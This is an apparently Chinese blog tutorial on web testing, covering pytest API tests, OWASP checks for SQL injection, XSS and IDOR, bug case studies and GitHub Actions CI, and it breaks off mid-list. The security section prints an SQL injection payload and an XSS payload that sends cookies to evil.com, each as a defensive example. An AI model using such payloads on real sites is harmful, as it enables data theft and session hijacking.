昨天深夜,线上监控系统突然报警,订单服务响应时间从 200ms 飙升到 5s+。我爬起床一看日志,发现是一个普通的查询接口在特定参数下疯狂连接数据库。排查了一整晚,最后发现竟然是一个刚合并的 PR 里漏写了一个索引,且测试环境完全没覆盖到这个边界条件。
这种事,干过 Web 开发的都懂那种无力感。测试不是为了证明代码是对的,而是为了找出代码哪里可能是错的。
今天这篇文章,我不跟你扯什么“测试金字塔”的理论框架,那都是教科书里的东西。咱们直接上干货,从接口测试怎么搭、安全漏洞怎么挖,到真实 Bug 案例怎么翻,全程带着代码和踩过的坑,希望能帮你在上线前少掉几根头发。
一、接口测试:别只盯着 HTTP 状态码
很多初级测试甚至开发同学,做接口测试就停留在“请求发出去,返回 200,有点数据,过了”。这远远不够。真正的接口测试,是要把接口当成一个黑盒+白盒混合体来打。
1.1 为什么单元测试不够用?
单元测试(Unit Test)测的是函数逻辑,比如 calculatePrice(amount) 返回多少。但接口测试测的是端到端的链路:前端发起请求 -> 网关校验 -> 业务逻辑处理 -> 数据库读写 -> 返回响应。
这里面的任何一个环节出问题,单元测试都发现不了。
1.2 工具选择:Postman vs代码化测试
如果你还在用 Postman 手动点点点,建议尽快转向代码化测试。Postman 适合探索性测试,但不适合回归测试和 CI/CD 集成。
我推荐 Python + pytest + requests,或者 Java + RestAssured。这里用 Python 举例,因为更简洁,也容易看懂。
环境搭建
先装好依赖:
pip install pytest requests python-dotenv
创建一个 .env 文件存放测试环境的基础配置,避免硬编码:
BASE_URL=https://api.test.example.com
AUTH_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
编写第一个接口测试
假设我们要测试一个“创建订单”的接口:
# tests/test_order_api.py
import pytest
import requests
import os
from dotenv import load_dotenv
load_dotenv()
BASE_URL = os.getenv("BASE_URL")
AUTH_TOKEN = os.getenv("AUTH_TOKEN")
headers = {
"Authorization": f"Bearer {AUTH_TOKEN}",
"Content-Type": "application/json"
}
def test_create_order_success():
"""正常创建订单"""
payload = {
"product_id": "prod_123",
"quantity": 2,
"user_id": "user_456"
}
response = requests.post(
f"{BASE_URL}/orders",
json=payload,
headers=headers
)
assert response.status_code == 201
assert response.json()["data"]["product_id"] == "prod_123"
assert response.json()["data"]["quantity"] == 2
assert "order_id" in response.json()["data"]
def test_create_order_missing_field():
"""缺少必填字段,应返回 400"""
payload = {
"product_id": "prod_123"
# 缺少 quantity
}
response = requests.post(
f"{BASE_URL}/orders",
json=payload,
headers=headers
)
assert response.status_code == 400
assert "quantity" in response.json().get("message", "").lower()
运行测试:
pytest tests/test_order_api.py -v
1.3 真实报错案例:参数类型隐式转换
场景:测试 GET /products?category=123 接口。
错误认知:我只测了 category=123(字符串)的情况,返回正常。
真实 Bug:后端代码是 Java 写的,接收参数用的是 Integer category。但测试时没测 category=abc 的情况。结果生产环境有一个用户输入了 category=shoes(本来想搜鞋类,但没走搜索框,直接在 URL 参数里拼了)。
结果:后端抛出 NumberFormatException,整个服务崩溃,返回 500,且没有统一异常处理。
修复后的测试:
def test_get_products_invalid_category():
"""非法分类参数,不应崩溃"""
response = requests.get(
f"{BASE_URL}/products",
params={"category": "abc"}
)
# 应该返回 400 或空列表,而不是 500
assert response.status_code in [200, 400], f"Unexpected status: {response.status_code}"
关键点:测试不仅要测“正常路径”,更要测“异常路径”和“边界路径”。
二、安全测试: OWASP Top 10 实战
安全测试不是安全专家专属,每个 Web 开发者都应该懂基本的攻击原理和防御手段。下面挑三个最常见、最容易踩坑的漏洞,结合代码说明。
2.1 SQL 注入:不只是拼接字符串
错误代码示例(Java):
public List<Product> searchProducts(String keyword) {
String sql = "SELECT * FROM products WHERE name LIKE '%" + keyword + "%'";
// 直接拼接,灾难!
return jdbcTemplate.query(sql, new BeanPropertyRowMapper<>(Product.class));
}
攻击方式:用户输入 %' OR '1'='1,SQL 变成:
SELECT * FROM products WHERE name LIKE '%' OR '1'='1%'
结果:返回所有产品,甚至如果权限够高,可以拖库。
修复方式:使用参数化查询(Prepared Statement)
public List<Product> searchProductsSafe(String keyword) {
String sql = "SELECT * FROM products WHERE name LIKE ?";
// 使用占位符,数据库驱动会自动转义
return jdbcTemplate.query(sql,
new BeanPropertyRowMapper<>(Product.class),
"%" + keyword + "%");
}
测试案例:
def test_sql_injection_keyword():
"""测试 SQL 注入防护"""
injection_payload = "%' OR '1'='1"
response = requests.get(
f"{BASE_URL}/products",
params={"keyword": injection_payload}
)
# 应该只返回匹配空字符串或报错,而不是返回所有数据
# 如果返回了超过 100 条(假设库里只有 10 条),则存在注入风险
products = response.json().get("data", [])
assert len(products) <= 10 # 根据实际数据量调整
2.2 XSS(跨站脚本攻击):用户输入当代码执行
场景:论坛发帖功能,用户输入内容会显示在其他用户页面。
错误代码(前端 Vue/React 常见错误):
<!-- 严禁这样做 -->
<div v-html="userComment"></div>
攻击方式:用户输入 <script>document.location='http://evil.com?cookie='+document.cookie</script>
修复方式:默认转义,只在明确需要渲染 HTML 时使用安全的过滤库。
// Vue 默认是转义的,所以 {{ userComment }} 是安全的
// 但如果非要用 v-html,必须用 DOMPurify 过滤
import DOMPurify from 'dompurify';
<div v-html="DOMPurify.sanitize(userComment)"></div>
接口层防御:即使前端做了,后端也要做。不要在请求体里直接透传 <script> 等标签。
2.3 越权访问(IDOR):最容易被忽视的漏洞
场景:用户可以查看自己的订单 /orders/123,也能查看别人的订单 /orders/456。
测试思路:
- 用 User A 登录,获取 tokenA。
- 用 User B 登录,获取 tokenB。
- 用 tokenA 去请求
/orders/{userB_order_id}。 - 如果返回了 User B 的订单信息,就是高危漏洞。
def test_idor_order_access():
"""测试越权访问:A 不能访问 B 的订单"""
# 先获取 A 和 B 的 token(模拟两个用户登录)
token_a = get_token("user_a")
token_b = get_token("user_b")
# 获取 B 的一个订单 ID(通过 B 自己的接口)
orders_b = requests.get(
f"{BASE_URL}/orders",
headers={"Authorization": f"Bearer {token_b}"}
).json()["data"]
b_order_id = orders_b[0]["order_id"]
# 用 A 的 token 去访问 B 的订单
response = requests.get(
f"{BASE_URL}/orders/{b_order_id}",
headers={"Authorization": f"Bearer {token_a}"}
)
# 应该返回 403 或 404,不能返回 200 和数据
assert response.status_code in [403, 404], \
f"IDOR vulnerability: User A accessed User B's order {b_order_id}"
三、真实 Bug 案例库:从报错到根因分析
这里分享三个我亲测遇到的真实 Bug,包括现象、排查过程、根因和解决方案。
案例一:并发下的库存超卖
现象:大促活动,一款限量 100 件的商品,最后卖出了 105 件。
排查过程:
- 查看数据库库存记录,发现库存字段变成了 -5。
- 检查代码,发现下单逻辑是:
- 查询库存
if stock > 0 - 扣减库存
update set stock = stock - 1
- 查询库存
- 怀疑是并发问题,模拟 10 个用户同时下单。
根因:没有加锁,多个请求同时读到 stock=1,都判定大于 0,然后都执行扣减。
解决方案:
- 短期:使用 Redis 分布式锁。
- 长期:数据库层面使用乐观锁(version 字段)或悲观锁(
SELECT ... FOR UPDATE)。
-- 乐观锁方案
UPDATE products
SET stock = stock - 1, version = version + 1
WHERE product_id = ? AND stock >= ? AND version = ?;
测试用例:
import concurrent.futures
def create_order(token, product_id):
return requests.post(
f"{BASE_URL}/orders",
headers={"Authorization": f"Bearer {token}"},
json={"product_id": product_id, "quantity": 1}
)
def test_concurrent_stock_purchase():
"""并发下单,验证库存不超卖"""
product_id = "flash_sale_001"
tokens = [get_token(f"user_{i}") for i in range(10)]
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(create_order, t, product_id) for t in tokens]
responses = [f.result() for f in concurrent.futures.as_completed(futures)]
success_count = sum(1 for r in responses if r.status_code == 201)
# 查询剩余库存
stock_response = requests.get(f"{BASE_URL}/products/{product_id}")
remaining_stock = stock_response.json()["data"]["stock"]
# 成功下单数 + 剩余库存 应该等于初始库存(假设初始 100)
assert success_count + remaining_stock == 100, \
f"Stock oversold! Success: {success_count}, Remaining: {remaining_stock}"
案例二:时间区域引发的数据不一致
现象:用户反馈,他在本地时间 12 月 31 日 23:50 提交的订单,日志显示是 1 月 1 日 00:10 提交的。
排查过程:
- 前端传的时间是
2023-12-31T23:50:00+08:00(带时区)。 - 后端 Java 代码用
new Date()接收,new Date()是 UTC 时间,但打印时用了toString(),默认用本地时区(服务器是 UTC+0)。 - 数据库存的是 UTC 时间,但业务逻辑里比较日期时用了
SimpleDateFormat没指定时区,导致解析错误。
根因:前后端、服务端、数据库之间时区处理不统一。
解决方案:
- 统一使用 UTC 时间存储和传输。
- 前端传 ISO 8601 格式(带时区偏移)。
- 后端统一用
Instant或ZonedDateTime,避免用Date和SimpleDateFormat。
// 错误示范
Date date = new Date();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
sdf.format(date); // 依赖服务器默认时区,危险!
// 正确示范
Instant instant = Instant.now(); // UTC
ZonedDateTime zdt = instant.atZone(ZoneId.of("Asia/Shanghai")); // 转换到本地时区展示
案例三:大字段导致内存溢出(OOM)
现象:服务偶尔重启,日志显示 Java heap space。
排查过程:
- 发现是一个导出 Excel 的接口,在数据量超过 10 万条时必现。
- 代码逻辑:查出所有数据到
List,然后用 POI 库一次性生成 Excel,最后返回。 - 10 万条数据,每条 100 个字段,内存占用轻松过几百 MB,加上 POI 的开销,直接 OOM。
解决方案:
- 流式处理:使用
SXSSFWorkbook(POI 的流式 API)或分批次查询。 - 前端分页:避免一次性返回大量数据。
// 错误:全量加载到内存
List<Data> allData = dataService.findAll();
Workbook workbook = new HSSFWorkbook(); // HSSF 是传统 API,内存开销大
// 正确:流式写入
Workbook workbook = new SXSSFWorkbook(100); // 只保持 100 行在内存
Sheet sheet = workbook.createSheet();
// ... 逐行写入,自动刷新到磁盘
测试验证:
def test_export_large_dataset():
"""导出 10 万条数据,不应 OOM 或超时"""
response = requests.get(
f"{BASE_URL}/exports/excel?limit=100000",
stream=True
)
# 检查响应头,应该有 Content-Disposition
assert "attachment" in response.headers.get("Content-Disposition", "")
# 检查响应时间,应该在合理范围内(比如 30 秒内)
assert response.elapsed.total_seconds() < 30, "Export too slow"
四、测试自动化与 CI/CD 集成
写完测试代码,手动跑没意义。必须集成到 CI/CD 流程中。
4.1 GitHub Actions 示例
在项目根目录创建 .github/workflows/test.yml:
name: Web App Tests
on:
push:
branches: [ main, develop ]
pull_request:
branches: [ main ]
jobs:
test:
runs-on: ubuntu-latest
services:
postgres:
image: postgres:15
env:
POSTGRES_PASSWORD: testpass
POSTGRES_DB: testdb
ports:
- 5432:5432
options: >-
--health-cmd pg_isready
--health-interval 10s
--health-timeout 5s
--health-retries 5
redis:
image: redis:7
ports:
- 6379:6379
steps:
- uses: actions/checkout@v3
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.11'
- name: Install dependencies
run: |
pip install -r requirements.txt
pip install pytest pytest-cov
- name: Run API Tests
env:
BASE_URL: http://localhost:8080
AUTH_TOKEN: ${{ secrets.TEST_TOKEN }}
run: |
# 假设有一个启动服务的脚本
./scripts/start-test-server.sh &
sleep 10 # 等待服务启动
pytest tests/ -v --cov=app --cov-report=xml
- name: Upload coverage
uses: codecov/codecov-action@v3
with:
file: ./coverage.xml
4.2 测试覆盖率要求
- 接口层:核心业务接口覆盖率应 > 80%。
- 安全测试:使用工具如 OWASP ZAP 进行自动化扫描,每次发版前必须通过。
- 性能测试:关键接口使用 JMeter 或 Locust 做压测,P99 延迟应 < 500ms。
五、给新手的建议:如何起步?
- 从冒烟测试开始:先写最核心的业务流程测试(登录、下单、支付),确保主干通路。
